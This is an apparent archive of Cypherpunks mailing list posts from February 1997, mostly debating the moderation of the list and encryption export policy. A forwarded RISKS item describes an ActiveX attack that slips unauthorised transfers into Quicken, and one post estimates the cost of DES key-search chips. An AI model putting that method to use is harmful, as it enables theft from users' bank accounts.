Intel, I elected to leave the management track and rejoin the "technical ladder," becoming one of Intel's so-called Principal Engineers. No longer could I control others, except through the example I set and the information I provided. And I was happy I had moved away from "the dark side of the force." (I accept the role hierarchies play in corporations. They can't be built with just people like me. They need leaders, controllers, power freaks, etc. But a virtual community like the Cypherpunks group is not such a heirarchical organization, and it needs few rules, leaders, etc. "We don't need no steenking leaders.") As this relates to Cypherpunks, I have steadfastly refused to consider any "management role," so to speak, in how the list is run, the formal policies, etc. I'm not saying there has been a call for management (though Detweiler used to rail against us for not having a management heirarchy, for not having rules and democratic procedures for "making decisions"), just that the power vacuum in anarchies such as ours is often an open invitation for someone to step in and "provide structure and guidance." I resisted any thoughts of doing this, and argued against this sort of thing whenever the topic came up in conversation. I chose to lead only by the posts I wrote and the ideas I worked on. There have been frequent calls over the years for the Cypherpunks to have a more permanent presence, perhaps even an office in Washington, D.C., such as the EFF had, the CPSR still has, and so on. And to have an Official Spokesman, a contact person for the media droids to contact. The calls for this have declined in the last couple of years, as people figured out that the Cypherpunks are not about having spokespunks for us, and that the media will just have to deal with the "anarchy" of having to herd cats to get information out of us. Now, of course, the message is being sent that Sandy Sandfort is in some sense the de facto leader, being that he determines what traffic goes out to the main list and what traffic gets bounced into the flames list. In fact, I'll make a prediction: The media will see that he is the chief censor and arbiter of worthiness and will increasingly contact him for the Official Point of View on various items they are interested in. It distresses me greatly that Sandy Sandfort has elected to move into this "power vacuum" to nominate himself as our Leader and Chief Censor. Foo on that. (I used to hear this at Intel, where the argument for a hierarchical structure was much stronger, to wit: "Tim, if you won't agree to manage others, you'll have to accept that people less technically competent than yourself are going to elect to become managers and they'll probably become _your_ manager in the not too distant future.") So, I sort of thank Sandy for helping me to realize certain things that I may not have explicitly realized before. Namely, I realize that I don't want the karmic burdens of power myself, preferring to lead only by the example I set and the ideas I generate. This is why "market anarchies" (books, music, ideas, all things where "no ruler" exists) appeal to me so much. And since I don't wish to assume the mantle of leadership, and don't see much need for leadership or global censorship (as opposed to locally contracted for filtering, a la Eric Blossom's list, or Siskel and Ebert giving recommendations, or ratings of restaurants, etc.), I am resentful and suspicious of people who _do_ step into the "power vacuum" to lead and control. Now I grant you that Sandy's form of leadership and control is relatively mild, but the very notion that Sandy can reject a long essay because of a couple of phrasings he dislikes (this was his "judgment call" point about why he (reluctantly?) allowed my post to go out) is a step in the wrong direction. And given our strong ideological bias toward market anarchies, this move toward censorship stands out like a sore thumb. At least the issue would be clearer if Sandy passed all posts through but deleted sections that offended him and marked deleted sections as "**CENSORED**." Yes, I'm seething. Sandy is right about that. I saw a group I helped create and spent thousands of hours on, writing articles and developing ideas choose--by fiat from the owner of the machine the list was being sent out from--to embrace the dark side, the control freak side. In the name of "comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose our ideological purity. "Hey, even the Cypherpunks have embraced censorship." Instead of letting the power vacuum remain unfilled, and suggesting to people that they solve the problems it creates as best they can, Sandy jumped in to fill the vacuum. This is what I'm seething about. And even dropping the power grab at the end of the "experiment" will not stop this seething. Fuck it. --Tim May " Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ckuethe at gpu.srv.ualberta.ca Mon Feb 3 12:13:22 1997 From: ckuethe at gpu.srv.ualberta.ca (C. Kuethe) Date: Mon, 3 Feb 1997 12:13:22 -0800 (PST) Subject: GAK cracking? Message-ID: <199702032013.MAA01096@toad.com> On Mon, 3 Feb 1997, tmcghan at gill-simpson.com wrote: > Just days after a U.S. graduate student cracked the most powerful > computer encryption system allowed out of the country, the Commerce > Department announced it would allow three companies to export an > even stronger system. [snip] > Companies said products with just 40-bit long keys, the old limit, > were too easy to crack. The approvals came just days after Ian Goldberg, a > graduate student at the University of California, cracked a message > encoded with a software key 40-bits long. > > The government did not name the companies given permission to export > stronger, 56-bit programs, but Glenwood, Md.,-based Trusted > Information Systems acknowledged that it was one of the three. Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ? They do key recovery (is it GAK?) They brag about government consulting. The clients they will admit to having are listed on: http://www.tis.com/docs/products/consulting/govt/govcon.html and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI and other "friends" of ours all together in the same paragraph. Conspiracy? Maybe... This is both good and bad.... yes, longer codes are now exportable, but only to / by certain people? I notice that the new cipher length is 56 bit...same size as DES? hopefully that's just a coincidence (yeah, right) or maybe somebody's starting to see the real world where people download pirate cryptosystems and says "so let's export bigger ones and make a buck off it, too..." (yeah, right) PLUR chris -- Chris Kuethe LPGV Electronics and Controls http://www.ualberta.ca/~ckuethe/ RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 -------+..........................................................+------- + ^ + : Ray Arachelian : #include :../|\.. \|/ : ray at earthweb.com :.....................................:./\|/\. <--+-->: ................ : My oppinions are my own and do not :.\/|\/. /|\ :voice: 212-725-6550 : neccesairly represent those of my :..\|/.. + v + :....................: employer. :....... .... http://www.sundernet.com ...personal.email sunder at sundernet.com ..... ---------- Forwarded message ---------- Date: Mon, 03 Feb 1997 13:26:44 -0500 From: Andy Breen To: yak at earthweb.com Subject: Another ActiveX hole hmmmmmmmmmmmmm.... ------------------ DMK: An application of covert channels. From RISKS Digest Vol 18, Issue 80. Date: 1 Feb 1997 05:12:02 GMT From: weberwu at tfh-berlin.de (Debora Weber-Wulff) Subject: Electronic Funds Transfer without stealing PIN/TAN The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television show broadcast the previous evening on which hackers from the Chaos Computer Club demonstrated how to electronically transfer funds without needing a PIN (Personal Identification Number) or TAN (Transaction Number). Apparently it suffices for the victim to visit a site which downloads an ActiveX application, which automatically starts and checks to see if Quicken, a popular financial software package that also offers electronic funds transfer, is on the machine. If so, Quicken is given a transfer order which is saved by Quicken in its pile of pending transfer orders. The next time the victim sends off the pending transfer orders to the bank (and enters in a valid PIN and TAN for that!) all the orders (= 1 transaction) are executed - money is transferred without the victim noticing! The newspaper quotes various officials at Microsoft et al expressing disbelief/outrage/"we're working on it". We discussed this briefly in class looking for a way to avoid the problem. Demanding a TAN for each transfer is not a solution, for one, the banks only send you 50 at a time, and many small companies pay their bills in bunches. Having to enter a TAN for each transaction would be quite time-consuming. Our only solution would be to forbid browsers from executing any ActiveX component without express authorization, but that rather circumvents part of what ActiveX is intended for. A small consolation: the transfer is trackable, that is, it can be determined at the bank to which account the money went. Some banks even include this information on the statement, but who checks every entry on their statements... Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10, 13353 Berlin GERMANY weberwu at tfh-berlin.de At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote: >At 11:38 AM 2/3/1997, Lucky Green wrote: >> I am well aware of the name recognition and reputation capital associated >> with CP, still I believe it best to *kill the list*. > >If you don't like the list, why not unsubscribe? That won't solve the problem. The list has become counterproductive. It is impossible for other lists to provide a real forum for the discussion of the topics that this list used to be about while CP still exists. At the same time, CP has long stopped providing such a forum. CP is draining energy from its subscribers and the cause. Kill it! Kill it now! -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From emc at wire.insync.net Mon Feb 3 13:15:14 1997 From: emc at wire.insync.net (Eric Cordian) Date: Mon, 3 Feb 1997 13:15:14 -0800 (PST) Subject: Dissolving Choke Points In-Reply-To: Message-ID: <199702032118.PAA05476@wire.insync.net> Peter Hendrickson writes: > Moderation has been a failure. I'm pretty good at filtering and I > can sadly report that there is very little signal out there. The quality of the Cypherpunks list is determined solely by the amount of signal. The amount of noise is irrelevant. Barring someone continuously mail-bombing the list 24 hours a day from a T3, it is easy to pick and choose the posts one wishes to read, and wipe the rest with a single keystroke afterwards. I read the list selectively depending upon the amount of free time I have. I always try to read serious crypto articles, and all posts by Tim, Hal, Eric, Duncan, and a few other notables. If I have additional time, I will read other threads of interest, a little Vulis, and selected Toto, who happens to be a very funny person at times. Now that we have moderation, I can't do this while subscribed to the main list, and have to live in eternal fear that I am writing for an audience of 20 every time I respond to something on the unedited list. Foo on that. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From blancw at MICROSOFT.com Mon Feb 3 13:16:47 1997 From: blancw at MICROSOFT.com (Blanc Weber) Date: Mon, 3 Feb 1997 13:16:47 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: From: Timothy C. May With no false modesty I tried awfully hard to compose substantive essays on crypto-political topics, often more than one per day. (Others did too, but they seem to be tapering off as well, leaving the list to be dominated by something called a "Toto," the "O.J. was framed!" ravings of Dale Thorn, the love letters between Vulis and someone name Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm not reading the list in e-mail, and thus can easily avoid replying to these inanities... .......................................... Your thoughtful contributions to the list are missed, Tim. As soon as I realized that you had left the list I suspected it had something to do with its moderation. However, I must protest the inclusion of Toto's posts as one of the "inane". His posts were intentionally formulated to cause to stand out what was, indeed, inane - as he said, to "hold up a mirror". And he continually decried the list experiment, pointing out the philosophical contradiction of a moderated "anarchist" forum. If the antidote to bad speech is more speech, then he certainly provided some, although not on the level or style as yourself. And you may say that some of these posts are not worth replying to, but didn't I see you respond to one of Dale's, regarding a photo of Jessica-the-pilot which he keeps above his desk? .. Blanc From tcmay at got.net Mon Feb 3 13:43:39 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 13:43:39 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: Message-ID: At 1:15 PM -0800 2/3/97, Blanc Weber wrote: >Your thoughtful contributions to the list are missed, Tim. As soon as >I realized that you had left the list I suspected it had something to do >with its moderation. > >However, I must protest the inclusion of Toto's posts as one of the >"inane". His posts were intentionally formulated to cause to stand >out what was, indeed, inane - as he said, to "hold up a mirror". And >he continually decried the list experiment, pointing out the >philosophical contradiction of a moderated "anarchist" forum. Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points were often lost to me. But I was only scanning the list via the hks.net archive site, and so may have missed the subtleties. One way thoughtful posts get "absorbed" is when others quote them (or the parts they like best, disagree with, etc.). This gives people a second or third look. (And, of course, when one _replies_ to a post this is how it gets read most carefully.) I saw few people I respect a lot replying substantively to the posts of some of these people who seemed to dominate the list in the last month, and of course I myself did not reply to any of them, so whatever points they were making were lost on me. >If the antidote to bad speech is more speech, then he certainly provided >some, although not on the level or style as yourself. And you may say >that some of these posts are not worth replying to, but didn't I see you >respond to one of Dale's, regarding a photo of Jessica-the-pilot which >he keeps above his desk? Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor anyone else should be shunned; I posted when I felt like it. Nor of course have I ever argued for censoring Toto or Dale or anyone else. My point to Sandy was just that the new censorship policy was still clearly letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence Sandy-approved synonym for "cr*p") through, and that certain folks were issuing lots and lots of rants and raves. Personally, I think "flames" are not the problem. Not flames from obviously thoughtful folks who are angered or peeved about something. The "flames" posted by bots--targetted at me, usually--were not especially helpful, but I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa. Flames and intense argument are often useful in explicating hard subjects...and who can deny that Bell's ideas are controversial and may generate intense opinions? To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet as the spawn of a dandruff-covered Armenian tchurka and his nekulturny peasant mother" bot-generated insults we have apparently now gotten a list where Lord Sandy apprises us that he almost rejected my long, carefully-constructed essay because I committed the NewCyphepunk (TM) sin of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways. Like I said, "fuck that." Or, more politely, it's throwing the baby out with the bathwater. Not to mention sending the strong message that "Even Cypherpunks gave up their experiment with anarchy and now have a moderator deciding what the main list is permitted to read." Far too high a price to pay for the "comity" Sandy craves. (And if Sandy wants comity and good cheer, let him either form his own list or establish a filtered list just the way Blossom and Arachelian did. Hijacking the list to reform it in his own image is dirty pool.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From vznuri at netcom.com Mon Feb 3 13:44:20 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Mon, 3 Feb 1997 13:44:20 -0800 (PST) Subject: Govt & cyberspace In-Reply-To: <199702021510.HAA24723@toad.com> Message-ID: <199702032143.NAA12677@netcom9.netcom.com> DF raises the question of whether the IRS will be able to modernize in the lack of "intellectual capital" (i.e. brains). This is actually a very interesting topic which I've not seen a lot of analysis on elsewhere, but which I expect to see a lot more in the future. the basic issue is this: private industry is moving into cyberspace at a lightening pace. yet the government is painfully incapable of doing the same for reasons of bureacracy. numerous articles have been documenting the inability of the government to successfully pull of massive software and hardware upgrade projects. I suspect it will only be a matter of time before this is called a major "crisis" by politicians and milked for all of its conceivable tax value. eeks. I've seen a lot of articles about govt agencies in a computational crisis due to this problem. maybe someone can come up with a cute tag item. "technology envy" maybe? I read about how the FAA was trying to install a new flight control system that's insanely over budget and lightyears from a conceivable completion. another *major* computation problem is the year 2000 crisis. private companies can barely get it together to do the upgrading and investigation required to fix the 2000-flip problem. the government is even farther behind. if there is going to be a year 2000 "crisis" due to the millenium bug, I suspect much of it will be focused in government agencies. "tech envy"-- what impact is this going to have on our government? it's becoming a huge issue. it may be a really great opportunity for a populist movement to truly reform the government in the process of upgrading their computers. I suspect that the "groupware" technology that is just getting started will have major influence in these areas. as private companies find increasingly sophisticated ways of managing themselves, the obvious question will arise, "why can't we have an efficient govt when our private industries are"? the answer is, we can!! I've written about "electronic democracy" repeatedly. many people object to the idea. but when it is phrased in terms of groupware, it becomes more palatable. imagine a small company humming along with its groupware application that allows it to make company-wide decisions using a democratic process. moreover, the software is robust and scales well. why can't the same principles be scaled up, up, up? I predict that they will be in a rather extraordinary revolution. a new "velvet revolution"? comments anyone? From pdh at best.com Mon Feb 3 13:53:04 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 13:53:04 -0800 (PST) Subject: Information Warfare Message-ID: The cypherpunks list has been under "attack" for some time. How have we managed it? Very poorly in my view. Some people have dismissed the idea that rogue governmental elements are behind some of our problems. Yet, there is no reason to rule out this hypothesis. The government has not always behaved well with regards to its perceived enemies in the last few decades. The FBI seems to infiltrate everything - even churches!. This is well documented. The CIA has worked hard on disrupting various political movements of which it did not approve using provocateurs and other conspiratorial dirty tricks. (I believe the FBI has, too, but I do not recall any documentation offhand.) We know that "Information Warfare" is the big thing in the defense establishment right now. It's all over their web pages. We see articles from the Kennedy School which seem to compare free speech with disease. Etc. Etc. We also believe that the things the Cypherpunks are interested in are on the radar screen. Maybe the Cypherpunks are, too. Is it unreasonable to ask whether some people are getting funding to experiment with disrupting "groups" like the Cypherpunks? I can easily picture people inventing all sorts of important sounding words like "psy-op" for what is little more than rudeness. Whatever the cause of the disruptions, the solutions are the same. Most of the proposals I've been hearing have to do with controlling the behavior of other cypherpunks and creating more structure. This is a mistake. It's clear that even the definitions of "spam" and "flame" are hard to nail down. The next idea will be to moderate on the basis of content. How will we decide what is content? Clearly that's much too important a question to leave to just one person. What we need is a committee to decide! What's next? Robert's Rules of Order? All of this detracts from the work we have before us. If you've ever been involved with a non-profit organization, you will know that enormous energy is spent on internal political scheming. That's a boring waste of time. Let's go down a better path. Let's think about the best way for each cypherpunk to manage disruptions. Please consider these suggestions: 1. Filter noise. I filter based on origin. If a kill file doesn't work, use a positive filter to read messages only from people who are worthwhile. It has been suggested that this doesn't work because some people post garbage, but also occasionally post something good. There's gold in the ocean, too. Why don't we retrieve it? If you don't want to manage a filter yourself, find somebody to do it for you. A number of people offer filtering services. Remember that in an open forum, noise increases with signal. The more worthwhile and interesting threads are on the list, the more worthless postings we are going to see, particlarly when people are consciously disruptive. 2. Post signal. Filters are useless when there is no signal. Signal comes from cypherpunks. You are a cypherpunk. 3. Birds of a feather flock together. When you respond to somebody, you mingle your on-line identity with theirs. Fly with the eagles. Peter Hendrickson ph at netcom.com From vznuri at netcom.com Mon Feb 3 14:04:55 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Mon, 3 Feb 1997 14:04:55 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702030325.TAA09985@toad.com> Message-ID: <199702032204.OAA24923@netcom9.netcom.com> <* The mechanics of the announcement troubled me greatly. To be blunt, I was Message-ID: <199702032135.NAA17688@comsec.com> A. Padgett Peterson P.E. Information Security apparently wrote: > Have good reason to believe your estimate for a purpose built machine this > year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not > be cheap chips but will be commecially available). Expect 400 arrays > would be required to do DES in a day (average) but is a lot more > achievable than the 65k postulated by the gang of nine. I received a nice flyer in the mail the other day from "Chip Express" (www.chipexpress.com, 800-95-CHIPX). They are offering Laser Programmed Gate Arrays. It appears to be a reasonable way to get some Wiener chips built. As I recall, the Wiener design required about 23,000 gates. Their blurb had the following table in in: FPGA Gates ASIC Gates 500 Units 1000 Units 5000 Units 40,000 20,000 $77 $45 $10 Not Avail 200,000 $176 $150 $82 So it appears that you can get 5000 Wiener key search chips build for about $50K. I'm not sure about the speed, but I wouldn't be surprised if you could clock these at 50 MHz. The Wiener design is pipelined and searches one key per clock, so each chip could search 50e6 keys / second. 50e6 * 5000 = 250e9 keys / second for $50K Happy Hunting... Eric From pdh at best.com Mon Feb 3 14:19:41 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 14:19:41 -0800 (PST) Subject: Moderation [Tim,Sandy] Message-ID: At 1:12 PM 2/3/1997, Lucky Green wrote: >At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote: >>At 11:38 AM 2/3/1997, Lucky Green wrote: >>> I am well aware of the name recognition and reputation capital associated >>> with CP, still I believe it best to *kill the list*. >> If you don't like the list, why not unsubscribe? > That won't solve the problem. The list has become counterproductive. It is > impossible for other lists to provide a real forum for the discussion of > the topics that this list used to be about while CP still exists. At the > same time, CP has long stopped providing such a forum. CP is draining > energy from its subscribers and the cause. Kill it! Kill it now! Who should do what to comply with your proposal? Should John shut down the list? Are you asking everybody to unsubscribe? I don't think "killing the list" is an option for you or anybody else. The List transcends all domains. Peter Hendrickson ph at netcom.com From lharrison at mhv.net Mon Feb 3 14:23:19 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Mon, 3 Feb 1997 14:23:19 -0800 (PST) Subject: PGP 2.1 Message-ID: <9702032223.AA11951@super.mhv.net> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit To: cypherpunks at toad.com Date: Mon Feb 03 17:19:14 1997 > Mark Henderson wrote: > > > > Larry Johnson writes: > > > Hello, > > > Can any;one tell me how to get a version of PGP 2.1? > > > Thanks > > > > > But, why do you want version 2.1? > > Because the guy who wrote it was let off after that on his jail > charges, so I'm not going to use anything he made after that if > I don't know why. > I'm not saying that he rolled over or nothin buyt I'm gonna be > paranoyd like he said in the book. I dont suposse he'd mind, > since he said it. > I'm not real smart sometimes but I'nm not a real lamer, either. > (I don't think) I bite my tongue.... -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvZkYj5A4+Z4Wnt9AQEtNwP/TXMTZcozL0dNIJjBbdX7mwu0DiEJZV29 nzmIOPZFQyqeVgc1+DrYc0oB6hILAdC5Juf2k7sHr3bzqwNUWERY+PskVRWxRsi6 onN5OqNiAZxVJMcUDZx2r34vZd9Z3TtkGqHDY91xr6Q8UgBYcsmI1SwyjUTwgwST oraGSR/h8eE= =YYIb -----END PGP SIGNATURE----- From vznuri at netcom.com Mon Feb 3 14:24:34 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Mon, 3 Feb 1997 14:24:34 -0800 (PST) Subject: Filling Power Vacuums In-Reply-To: <199702032011.MAA01084@toad.com> Message-ID: <199702032224.OAA00880@netcom9.netcom.com> timmy writes: And since I don't wish to assume the mantle Several months back there were discussions on the list regarding renaming the government's key escrow/recovery proposals (KRAP comes to mind). I think we need something that's catchy and simple (perhaps already familiar) to understand for the semi-litterate citizen units. I propose we encourage use of the terms "crippleware" or "crypto crippleware" when refering to the products limited to their weak crypto and/or key escrow/recovery. --Steve From emc at wire.insync.net Mon Feb 3 14:41:11 1997 From: emc at wire.insync.net (Eric Cordian) Date: Mon, 3 Feb 1997 14:41:11 -0800 (PST) Subject: Dissolving Choke Points Message-ID: <199702032241.OAA04512@toad.com> Peter Hendrickson writes: > Moderation has been a failure. I'm pretty good at filtering and I > can sadly report that there is very little signal out there. The quality of the Cypherpunks list is determined solely by the amount of signal. The amount of noise is irrelevant. Barring someone continuously mail-bombing the list 24 hours a day from a T3, it is easy to pick and choose the posts one wishes to read, and wipe the rest with a single keystroke afterwards. I read the list selectively depending upon the amount of free time I have. I always try to read serious crypto articles, and all posts by Tim, Hal, Eric, Duncan, and a few other notables. If I have additional time, I will read other threads of interest, a little Vulis, and selected Toto, who happens to be a very funny person at times. Now that we have moderation, I can't do this while subscribed to the main list, and have to live in eternal fear that I am writing for an audience of 20 every time I respond to something on the unedited list. Foo on that. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From vznuri at netcom.com Mon Feb 3 14:41:46 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Mon, 3 Feb 1997 14:41:46 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702032241.OAA04535@toad.com> DF raises the question of whether the IRS will be able to modernize in the lack of "intellectual capital" (i.e. brains). This is actually a very interesting topic which I've not seen a lot of analysis on elsewhere, but which I expect to see a lot more in the future. the basic issue is this: private industry is moving into cyberspace at a lightening pace. yet the government is painfully incapable of doing the same for reasons of bureacracy. numerous articles have been documenting the inability of the government to successfully pull of massive software and hardware upgrade projects. I suspect it will only be a matter of time before this is called a major "crisis" by politicians and milked for all of its conceivable tax value. eeks. I've seen a lot of articles about govt agencies in a computational crisis due to this problem. maybe someone can come up with a cute tag item. "technology envy" maybe? I read about how the FAA was trying to install a new flight control system that's insanely over budget and lightyears from a conceivable completion. another *major* computation problem is the year 2000 crisis. private companies can barely get it together to do the upgrading and investigation required to fix the 2000-flip problem. the government is even farther behind. if there is going to be a year 2000 "crisis" due to the millenium bug, I suspect much of it will be focused in government agencies. "tech envy"-- what impact is this going to have on our government? it's becoming a huge issue. it may be a really great opportunity for a populist movement to truly reform the government in the process of upgrading their computers. I suspect that the "groupware" technology that is just getting started will have major influence in these areas. as private companies find increasingly sophisticated ways of managing themselves, the obvious question will arise, "why can't we have an efficient govt when our private industries are"? the answer is, we can!! I've written about "electronic democracy" repeatedly. many people object to the idea. but when it is phrased in terms of groupware, it becomes more palatable. imagine a small company humming along with its groupware application that allows it to make company-wide decisions using a democratic process. moreover, the software is robust and scales well. why can't the same principles be scaled up, up, up? I predict that they will be in a rather extraordinary revolution. a new "velvet revolution"? comments anyone? From tcmay at got.net Mon Feb 3 14:41:47 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 3 Feb 1997 14:41:47 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702032241.OAA04539@toad.com> At 1:15 PM -0800 2/3/97, Blanc Weber wrote: >Your thoughtful contributions to the list are missed, Tim. As soon as >I realized that you had left the list I suspected it had something to do >with its moderation. > >However, I must protest the inclusion of Toto's posts as one of the >"inane". His posts were intentionally formulated to cause to stand >out what was, indeed, inane - as he said, to "hold up a mirror". And >he continually decried the list experiment, pointing out the >philosophical contradiction of a moderated "anarchist" forum. Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points were often lost to me. But I was only scanning the list via the hks.net archive site, and so may have missed the subtleties. One way thoughtful posts get "absorbed" is when others quote them (or the parts they like best, disagree with, etc.). This gives people a second or third look. (And, of course, when one _replies_ to a post this is how it gets read most carefully.) I saw few people I respect a lot replying substantively to the posts of some of these people who seemed to dominate the list in the last month, and of course I myself did not reply to any of them, so whatever points they were making were lost on me. >If the antidote to bad speech is more speech, then he certainly provided >some, although not on the level or style as yourself. And you may say >that some of these posts are not worth replying to, but didn't I see you >respond to one of Dale's, regarding a photo of Jessica-the-pilot which >he keeps above his desk? Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor anyone else should be shunned; I posted when I felt like it. Nor of course have I ever argued for censoring Toto or Dale or anyone else. My point to Sandy was just that the new censorship policy was still clearly letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence Sandy-approved synonym for "cr*p") through, and that certain folks were issuing lots and lots of rants and raves. Personally, I think "flames" are not the problem. Not flames from obviously thoughtful folks who are angered or peeved about something. The "flames" posted by bots--targetted at me, usually--were not especially helpful, but I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa. Flames and intense argument are often useful in explicating hard subjects...and who can deny that Bell's ideas are controversial and may generate intense opinions? To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet as the spawn of a dandruff-covered Armenian tchurka and his nekulturny peasant mother" bot-generated insults we have apparently now gotten a list where Lord Sandy apprises us that he almost rejected my long, carefully-constructed essay because I committed the NewCyphepunk (TM) sin of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways. Like I said, "fuck that." Or, more politely, it's throwing the baby out with the bathwater. Not to mention sending the strong message that "Even Cypherpunks gave up their experiment with anarchy and now have a moderator deciding what the main list is permitted to read." Far too high a price to pay for the "comity" Sandy craves. (And if Sandy wants comity and good cheer, let him either form his own list or establish a filtered list just the way Blossom and Arachelian did. Hijacking the list to reform it in his own image is dirty pool.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From aba at dcs.ex.ac.uk Mon Feb 3 14:42:29 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 14:42:29 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702030626.WAA14617@toad.com> Message-ID: <199702031011.KAA00295@server.test.net> My main complaints about the `filtering' service forced upon the list readership are that: 1. It was done to the main list! If cypherpunks were left unchanged, and a `cypherpunks-edited' were created I wouldn't have a problem, it would be just another filtered list. However there are already several filtered lists, so the usefulness of this is limited anyway. Merely including details of these filtered lists in the sign on message, and posting a reminder every few weeks would suffice. I and apparently, most others didn't choose to subscribe to a filtering service. I object to this choice being over-ridden. OK, so I can re-subscribe to cypherpunks (cypherpunks-unedited), but many won't bother. (Actually I subscribe to cypherpunks-flames and cypherpunks, as the most efficient way of receiving all messages, and still being able to see the moderation results). 2. The impetus for moderating the main list seems to be as a result of a few posts by Dimitri. Really, if this is all it takes to destroy an unmoderated list, I've got to laugh at cypherpunks collectively. Why is it such a big deal to press the `n' key, if you don't like what Dimitri, or anyone else, has to say? If your time is too valuable to press `n' keys, what is wrong with subscribing to the existing filtered lists? Or with setting up a kill-file? Or maybe generating a bit of signal yourself? 3. It is even more funny that in my opinion Dimitri purposefully set out to raise the issue of censorship (after his own partial censorship), and has succeeded to this extent. The whole thing is just allowing yourself to be manipulated by his transparent efforts. 4. There is already a moderated forum for discussion of cypherpunks issues: cryptography at c2.net, why do we need another one? My vote is for renaming: `cypherpunks-unedited' -> `cypherpunks' and `cypherpunks' -> `cypherpunks-edited' and for moving all those still on the edited list to the unedited list. Post a note advertising the availability of a new filtering service called `cypherpunks-edited at toad.com', along with the references to the other competing filtering services. If at the end of the trial forced moderation period, John Gilmore doesn't have the bandwidth on toad.com to support all of `cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I suggest that a new home is found for `cypherpunks'. Or perhaps Sandy as proponent of his filtering service, would be able to find a home for `sandys-filtered-cypherpunks' service, as with the other filtering services. Personally, I am not in the habit of flaming people, or using the word `fuck', in general discussion, but I find the way this `filtering service' was foisted on the main list highly objectionable. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote: >At 11:38 AM 2/3/1997, Lucky Green wrote: >> I am well aware of the name recognition and reputation capital associated >> with CP, still I believe it best to *kill the list*. > >If you don't like the list, why not unsubscribe? That won't solve the problem. The list has become counterproductive. It is impossible for other lists to provide a real forum for the discussion of the topics that this list used to be about while CP still exists. At the same time, CP has long stopped providing such a forum. CP is draining energy from its subscribers and the cause. Kill it! Kill it now! -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ray at earthweb.com Mon Feb 3 14:43:29 1997 From: ray at earthweb.com (Ray Arachelian) Date: Mon, 3 Feb 1997 14:43:29 -0800 (PST) Subject: Another ActiveX hole (fwd) Message-ID: <199702032243.OAA04600@toad.com> 